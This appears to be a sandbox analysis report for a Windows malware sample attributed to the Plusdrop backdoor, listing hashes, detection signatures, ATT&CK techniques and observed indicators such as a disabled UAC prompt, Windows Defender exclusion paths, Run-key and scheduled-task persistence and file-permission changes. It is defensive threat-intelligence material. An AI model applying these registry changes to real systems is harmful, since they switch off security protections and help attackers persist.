plusdrop | 131f82a24d60c8182c2428d1d38d77dac520231a2d9125655dc00dd37ceab41c

Analysis

max time kernel
150s
max time network
166s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
09/06/2026, 22:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-06-09_5bae56ffb625da384f3a1e0c858fd0be_amadey_coinminer_dosia_glassworm_icedid_njrat_poet-rat_quasar-rat_vidar.exe
Size 77.0MB
Sample260609-2fv8gsbs2j
SHA256 131f82a24d60c8182c2428d1d38d77dac520231a2d9125655dc00dd37ceab41c
MD5 5bae56ffb625da384f3a1e0c858fd0be
SHA1 a6475edc48137bbad52f0d2c5c2d2b999100fe10
SHA512 fbd6564b8fe313ab6e24114e60758ca27707c11588a12cc57f71f4c46fc8ac4fc59587ff2b63bf5abefc3e76fdeca7aed9183b58deb2856ffae628f6d0ab73e1
SSDEEP 196608:T5Vdl7+9QvRojqegVjqe9qGttZnCN5fMJPhAf1QxZ6u:T5V6KvSSF4z1Qx4u
TLSH
T198083C9BFA418DE3F40AD234849B8BA02372ECB546A183073259B7657FFF3484ED6195
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

apt41 apt backdoor defense_evasion discovery execution exploit plusdrop persistence privilege_escalation trojan

Malware Config

Signatures

Family: Plusdrop, toughprogress
Plusdrop is a backdoor used by APT41 in Toughprogress campaign that abuses Google Calendar events as its C2.
backdoor plusdrop

Detects Plusdrop Payload 1 IoCs

backdoor apt apt41

resource	yara_rule
behavioral2/memory/644-557-0x0000017AF39E0000-0x0000017AF3A40000-memory.dmp	family_Plusdrop_payload

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	zakSbz.exe

Windows security bypass 2 TTPs 18 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\zakSbz = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\L5xwqU = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Custom signature

Detects executables calling ClearMyTracksByProcess 1 IoCs

resource	yara_rule
behavioral2/memory/1696-705-0x0000000010000000-0x0000000010061000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_ClearMyTracksByProcess

Custom signature

Detects executables containing artifacts associated with disabling Widnows Defender 7 IoCs

resource	yara_rule
behavioral2/memory/1696-660-0x0000000003D00000-0x00000000044FF000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/1696-656-0x0000000003D00000-0x00000000044FF000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/1696-679-0x0000000003D00000-0x00000000044FF000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/716-715-0x0000000003B50000-0x000000000434F000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/1004-720-0x0000000003060000-0x000000000385F000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/1696-724-0x0000000003D00000-0x00000000044FF000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/1696-748-0x0000000003D00000-0x00000000044FF000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1676	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	zakSbz.exe

Possible privilege escalation attempt 38 IoCs

exploit

pid	Process
4556	icacls.exe
3252	icacls.exe
3080	icacls.exe
3164	icacls.exe
3228	icacls.exe
2156	icacls.exe
416	icacls.exe
4256	icacls.exe
1572	icacls.exe
352	icacls.exe
1064	icacls.exe
1056	icacls.exe
3296	icacls.exe
2756	icacls.exe
1172	icacls.exe
5020	icacls.exe
680	takeown.exe
5056	icacls.exe
4580	icacls.exe
2800	icacls.exe
716	icacls.exe
2212	icacls.exe
4648	icacls.exe
3024	icacls.exe
4852	icacls.exe
2532	icacls.exe
2900	icacls.exe
3424	icacls.exe
1112	icacls.exe
236	icacls.exe
3436	icacls.exe
1796	takeown.exe
1036	icacls.exe
1540	icacls.exe
1376	icacls.exe
4896	icacls.exe
3556	icacls.exe
1244	icacls.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 4 IoCs

pid	Process
644	T3WeVm.exe
1696	zakSbz.exe
716	zakSbz.exe
1004	4mbiL2i2M.exe

Loads dropped DLL 4 IoCs

pid	Process
644	T3WeVm.exe
1696	zakSbz.exe
716	zakSbz.exe
1004	4mbiL2i2M.exe

Modifies file permissions 1 TTPs 38 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
716	icacls.exe
2800	icacls.exe
3228	icacls.exe
416	icacls.exe
3252	icacls.exe
680	takeown.exe
2156	icacls.exe
3164	icacls.exe
1572	icacls.exe
1036	icacls.exe
5056	icacls.exe
4580	icacls.exe
3556	icacls.exe
1796	takeown.exe
5020	icacls.exe
4648	icacls.exe
1064	icacls.exe
3424	icacls.exe
3296	icacls.exe
1540	icacls.exe
352	icacls.exe
4852	icacls.exe
2212	icacls.exe
1112	icacls.exe
2900	icacls.exe
2756	icacls.exe
1056	icacls.exe
1376	icacls.exe
2532	icacls.exe
4896	icacls.exe
3436	icacls.exe
4256	icacls.exe
1244	icacls.exe
3080	icacls.exe
1172	icacls.exe
3024	icacls.exe
236	icacls.exe
4556	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\L5xwqU\\T3WeVm.exe\""	T3WeVm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\zakSbz\\zakSbz.exe\""	zakSbz.exe

Indicator Removal: Clear Persistence 1 TTPs 10 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
4080	cmd.exe
2928	cmd.exe
992	cmd.exe
2732	cmd.exe
4576	cmd.exe
2016	cmd.exe
4820	cmd.exe
2880	cmd.exe
1304	cmd.exe
1868	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	T3WeVm.exe

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\zakSbz\image.png	T3WeVm.exe
File opened for modification	C:\Program Files (x86)\d79571\image.png	zakSbz.exe
File opened for modification	C:\Program Files (x86)\zakSbz	T3WeVm.exe
File created	C:\Program Files (x86)\zakSbz\image.png	T3WeVm.exe
File created	C:\Program Files (x86)\d79571\image.png	zakSbz.exe
File opened for modification	C:\Program Files (x86)\d79571\thumbs.db	zakSbz.exe
File created	C:\Program Files (x86)\zakSbz\thumbs.db	T3WeVm.exe
File opened for modification	C:\Program Files (x86)\zakSbz\thumbs.db	T3WeVm.exe
File opened for modification	C:\Program Files (x86)\d79571\4mbiL2i2M.exe	zakSbz.exe
File opened for modification	C:\Program Files (x86)\d79571	zakSbz.exe
File created	C:\Program Files (x86)\d79571\XPSPLOG.dll	zakSbz.exe
File opened for modification	C:\Program Files (x86)\d79571\XPSPLOG.dll	zakSbz.exe
File created	C:\Program Files (x86)\d79571\4mbiL2i2M.exe	zakSbz.exe
File created	C:\Program Files (x86)\d79571\thumbs.db	zakSbz.exe
File created	C:\Program Files (x86)\zakSbz\zakSbz.exe	T3WeVm.exe
File created	C:\Program Files (x86)\zakSbz\XPSPLOG.dll	T3WeVm.exe
File opened for modification	C:\Program Files (x86)\zakSbz\zakSbz.exe	T3WeVm.exe
File opened for modification	C:\Program Files (x86)\zakSbz\XPSPLOG.dll	T3WeVm.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4076	sc.exe
1048	sc.exe
3988	sc.exe
4148	sc.exe
1676	sc.exe
488	sc.exe
2972	sc.exe
4572	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Screensaver 1 TTPs 3 IoCs

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.

persistence privilege_escalation

Screensaver

T1546.002

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1679180529-4058988202-686829476-1000\Control Panel\Desktop\SCRNSAVE.EXE	zakSbz.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1679180529-4058988202-686829476-1000\Control Panel\Desktop\ScreenSaveActive = "0"	zakSbz.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1679180529-4058988202-686829476-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	zakSbz.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zakSbz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4mbiL2i2M.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe

Modifies Control Panel 4 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1679180529-4058988202-686829476-1000\Control Panel\Desktop\ScreenSaveActive = "0"	zakSbz.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1679180529-4058988202-686829476-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	zakSbz.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1679180529-4058988202-686829476-1000\Control Panel\Desktop\ScreenSaveTimeOut = "0"	zakSbz.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1679180529-4058988202-686829476-1000\Control Panel\Desktop\SCRNSAVE.EXE	zakSbz.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	T3WeVm.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2972	schtasks.exe
2660	schtasks.exe
4068	schtasks.exe
4664	schtasks.exe
2488	schtasks.exe
940	schtasks.exe
2988	schtasks.exe
3112	schtasks.exe
3328	schtasks.exe
1560	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1312	2026-06-09_5bae56ffb625da384f3a1e0c858fd0be_amadey_coinminer_dosia_glassworm_icedid_njrat_poet-rat_quasar-rat_vidar.exe
1312	2026-06-09_5bae56ffb625da384f3a1e0c858fd0be_amadey_coinminer_dosia_glassworm_icedid_njrat_poet-rat_quasar-rat_vidar.exe
1312	2026-06-09_5bae56ffb625da384f3a1e0c858fd0be_amadey_coinminer_dosia_glassworm_icedid_njrat_poet-rat_quasar-rat_vidar.exe
1312	2026-06-09_5bae56ffb625da384f3a1e0c858fd0be_amadey_coinminer_dosia_glassworm_icedid_njrat_poet-rat_quasar-rat_vidar.exe
1312	2026-06-09_5bae56ffb625da384f3a1e0c858fd0be_amadey_coinminer_dosia_glassworm_icedid_njrat_poet-rat_quasar-rat_vidar.exe
1312	2026-06-09_5bae56ffb625da384f3a1e0c858fd0be_amadey_coinminer_dosia_glassworm_icedid_njrat_poet-rat_quasar-rat_vidar.exe
1312	2026-06-09_5bae56ffb625da384f3a1e0c858fd0be_amadey_coinminer_dosia_glassworm_icedid_njrat_poet-rat_quasar-rat_vidar.exe
1312	2026-06-09_5bae56ffb625da384f3a1e0c858fd0be_amadey_coinminer_dosia_glassworm_icedid_njrat_poet-rat_quasar-rat_vidar.exe
1312	2026-06-09_5bae56ffb625da384f3a1e0c858fd0be_amadey_coinminer_dosia_glassworm_icedid_njrat_poet-rat_quasar-rat_vidar.exe
1312	2026-06-09_5bae56ffb625da384f3a1e0c858fd0be_amadey_coinminer_dosia_glassworm_icedid_njrat_poet-rat_quasar-rat_vidar.exe
1312	2026-06-09_5bae56ffb625da384f3a1e0c858fd0be_amadey_coinminer_dosia_glassworm_icedid_njrat_poet-rat_quasar-rat_vidar.exe
1312	2026-06-09_5bae56ffb625da384f3a1e0c858fd0be_amadey_coinminer_dosia_glassworm_icedid_njrat_poet-rat_quasar-rat_vidar.exe
1312	2026-06-09_5bae56ffb625da384f3a1e0c858fd0be_amadey_coinminer_dosia_glassworm_icedid_njrat_poet-rat_quasar-rat_vidar.exe
1312	2026-06-09_5bae56ffb625da384f3a1e0c858fd0be_amadey_coinminer_dosia_glassworm_icedid_njrat_poet-rat_quasar-rat_vidar.exe
1312	2026-06-09_5bae56ffb625da384f3a1e0c858fd0be_amadey_coinminer_dosia_glassworm_icedid_njrat_poet-rat_quasar-rat_vidar.exe
1312	2026-06-09_5bae56ffb625da384f3a1e0c858fd0be_amadey_coinminer_dosia_glassworm_icedid_njrat_poet-rat_quasar-rat_vidar.exe
1312	2026-06-09_5bae56ffb625da384f3a1e0c858fd0be_amadey_coinminer_dosia_glassworm_icedid_njrat_poet-rat_quasar-rat_vidar.exe
1312	2026-06-09_5bae56ffb625da384f3a1e0c858fd0be_amadey_coinminer_dosia_glassworm_icedid_njrat_poet-rat_quasar-rat_vidar.exe
1312	2026-06-09_5bae56ffb625da384f3a1e0c858fd0be_amadey_coinminer_dosia_glassworm_icedid_njrat_poet-rat_quasar-rat_vidar.exe
1312	2026-06-09_5bae56ffb625da384f3a1e0c858fd0be_amadey_coinminer_dosia_glassworm_icedid_njrat_poet-rat_quasar-rat_vidar.exe
1312	2026-06-09_5bae56ffb625da384f3a1e0c858fd0be_amadey_coinminer_dosia_glassworm_icedid_njrat_poet-rat_quasar-rat_vidar.exe
1312	2026-06-09_5bae56ffb625da384f3a1e0c858fd0be_amadey_coinminer_dosia_glassworm_icedid_njrat_poet-rat_quasar-rat_vidar.exe
1312	2026-06-09_5bae56ffb625da384f3a1e0c858fd0be_amadey_coinminer_dosia_glassworm_icedid_njrat_poet-rat_quasar-rat_vidar.exe
1312	2026-06-09_5bae56ffb625da384f3a1e0c858fd0be_amadey_coinminer_dosia_glassworm_icedid_njrat_poet-rat_quasar-rat_vidar.exe
1312	2026-06-09_5bae56ffb625da384f3a1e0c858fd0be_amadey_coinminer_dosia_glassworm_icedid_njrat_poet-rat_quasar-rat_vidar.exe
1312	2026-06-09_5bae56ffb625da384f3a1e0c858fd0be_amadey_coinminer_dosia_glassworm_icedid_njrat_poet-rat_quasar-rat_vidar.exe
1312	2026-06-09_5bae56ffb625da384f3a1e0c858fd0be_amadey_coinminer_dosia_glassworm_icedid_njrat_poet-rat_quasar-rat_vidar.exe
1312	2026-06-09_5bae56ffb625da384f3a1e0c858fd0be_amadey_coinminer_dosia_glassworm_icedid_njrat_poet-rat_quasar-rat_vidar.exe
1312	2026-06-09_5bae56ffb625da384f3a1e0c858fd0be_amadey_coinminer_dosia_glassworm_icedid_njrat_poet-rat_quasar-rat_vidar.exe
1312	2026-06-09_5bae56ffb625da384f3a1e0c858fd0be_amadey_coinminer_dosia_glassworm_icedid_njrat_poet-rat_quasar-rat_vidar.exe
1312	2026-06-09_5bae56ffb625da384f3a1e0c858fd0be_amadey_coinminer_dosia_glassworm_icedid_njrat_poet-rat_quasar-rat_vidar.exe
1312	2026-06-09_5bae56ffb625da384f3a1e0c858fd0be_amadey_coinminer_dosia_glassworm_icedid_njrat_poet-rat_quasar-rat_vidar.exe
644	T3WeVm.exe
644	T3WeVm.exe
644	T3WeVm.exe
644	T3WeVm.exe
644	T3WeVm.exe
644	T3WeVm.exe
644	T3WeVm.exe
644	T3WeVm.exe
644	T3WeVm.exe
644	T3WeVm.exe
644	T3WeVm.exe
644	T3WeVm.exe
644	T3WeVm.exe
644	T3WeVm.exe
644	T3WeVm.exe
644	T3WeVm.exe
644	T3WeVm.exe
644	T3WeVm.exe
644	T3WeVm.exe
644	T3WeVm.exe
644	T3WeVm.exe
644	T3WeVm.exe
644	T3WeVm.exe
644	T3WeVm.exe
644	T3WeVm.exe
644	T3WeVm.exe
644	T3WeVm.exe
644	T3WeVm.exe
644	T3WeVm.exe
644	T3WeVm.exe
644	T3WeVm.exe
644	T3WeVm.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	644	T3WeVm.exe
Token: SeTakeOwnershipPrivilege	1796	takeown.exe
Token: SeRestorePrivilege	1572	icacls.exe
Token: SeTakeOwnershipPrivilege	680	takeown.exe
Token: SeRestorePrivilege	4648	icacls.exe
Token: SeDebugPrivilege	1676	powershell.exe
Token: SeIncreaseQuotaPrivilege	1676	powershell.exe
Token: SeSecurityPrivilege	1676	powershell.exe
Token: SeTakeOwnershipPrivilege	1676	powershell.exe
Token: SeLoadDriverPrivilege	1676	powershell.exe
Token: SeSystemProfilePrivilege	1676	powershell.exe
Token: SeSystemtimePrivilege	1676	powershell.exe
Token: SeProfSingleProcessPrivilege	1676	powershell.exe
Token: SeIncBasePriorityPrivilege	1676	powershell.exe
Token: SeCreatePagefilePrivilege	1676	powershell.exe
Token: SeBackupPrivilege	1676	powershell.exe
Token: SeRestorePrivilege	1676	powershell.exe
Token: SeShutdownPrivilege	1676	powershell.exe
Token: SeDebugPrivilege	1676	powershell.exe
Token: SeSystemEnvironmentPrivilege	1676	powershell.exe
Token: SeRemoteShutdownPrivilege	1676	powershell.exe
Token: SeUndockPrivilege	1676	powershell.exe
Token: SeManageVolumePrivilege	1676	powershell.exe
Token: 33	1676	powershell.exe
Token: 34	1676	powershell.exe
Token: 35	1676	powershell.exe
Token: 36	1676	powershell.exe
Token: SeIncreaseQuotaPrivilege	1676	powershell.exe
Token: SeSecurityPrivilege	1676	powershell.exe
Token: SeTakeOwnershipPrivilege	1676	powershell.exe
Token: SeLoadDriverPrivilege	1676	powershell.exe
Token: SeSystemProfilePrivilege	1676	powershell.exe
Token: SeSystemtimePrivilege	1676	powershell.exe
Token: SeProfSingleProcessPrivilege	1676	powershell.exe
Token: SeIncBasePriorityPrivilege	1676	powershell.exe
Token: SeCreatePagefilePrivilege	1676	powershell.exe
Token: SeBackupPrivilege	1676	powershell.exe
Token: SeRestorePrivilege	1676	powershell.exe
Token: SeShutdownPrivilege	1676	powershell.exe
Token: SeDebugPrivilege	1676	powershell.exe
Token: SeSystemEnvironmentPrivilege	1676	powershell.exe
Token: SeRemoteShutdownPrivilege	1676	powershell.exe
Token: SeUndockPrivilege	1676	powershell.exe
Token: SeManageVolumePrivilege	1676	powershell.exe
Token: 33	1676	powershell.exe
Token: 34	1676	powershell.exe
Token: 35	1676	powershell.exe
Token: 36	1676	powershell.exe
Token: SeIncreaseQuotaPrivilege	1676	powershell.exe
Token: SeSecurityPrivilege	1676	powershell.exe
Token: SeTakeOwnershipPrivilege	1676	powershell.exe
Token: SeLoadDriverPrivilege	1676	powershell.exe
Token: SeSystemProfilePrivilege	1676	powershell.exe
Token: SeSystemtimePrivilege	1676	powershell.exe
Token: SeProfSingleProcessPrivilege	1676	powershell.exe
Token: SeIncBasePriorityPrivilege	1676	powershell.exe
Token: SeCreatePagefilePrivilege	1676	powershell.exe
Token: SeBackupPrivilege	1676	powershell.exe
Token: SeRestorePrivilege	1676	powershell.exe
Token: SeShutdownPrivilege	1676	powershell.exe
Token: SeDebugPrivilege	1676	powershell.exe
Token: SeSystemEnvironmentPrivilege	1676	powershell.exe
Token: SeRemoteShutdownPrivilege	1676	powershell.exe
Token: SeUndockPrivilege	1676	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 644 wrote to memory of 1252	644	T3WeVm.exe	22
PID 644 wrote to memory of 1252	644	T3WeVm.exe	22
PID 644 wrote to memory of 4268	644	T3WeVm.exe	81
PID 644 wrote to memory of 4080	644	T3WeVm.exe	84
PID 4268 wrote to memory of 4580	4268	cmd.exe	86
PID 4080 wrote to memory of 2488	4080	cmd.exe	87
PID 644 wrote to memory of 656	644	T3WeVm.exe	88
PID 656 wrote to memory of 4852	656	cmd.exe	90
PID 4080 wrote to memory of 3920	4080	cmd.exe	91
PID 644 wrote to memory of 4920	644	T3WeVm.exe	93
PID 4920 wrote to memory of 1056	4920	cmd.exe	95
PID 4080 wrote to memory of 1776	4080	cmd.exe	96
PID 644 wrote to memory of 2208	644	T3WeVm.exe	97
PID 2208 wrote to memory of 2212	2208	cmd.exe	100
PID 644 wrote to memory of 1436	644	T3WeVm.exe	24
PID 644 wrote to memory of 1436	644	T3WeVm.exe	24
PID 644 wrote to memory of 1084	644	T3WeVm.exe	101
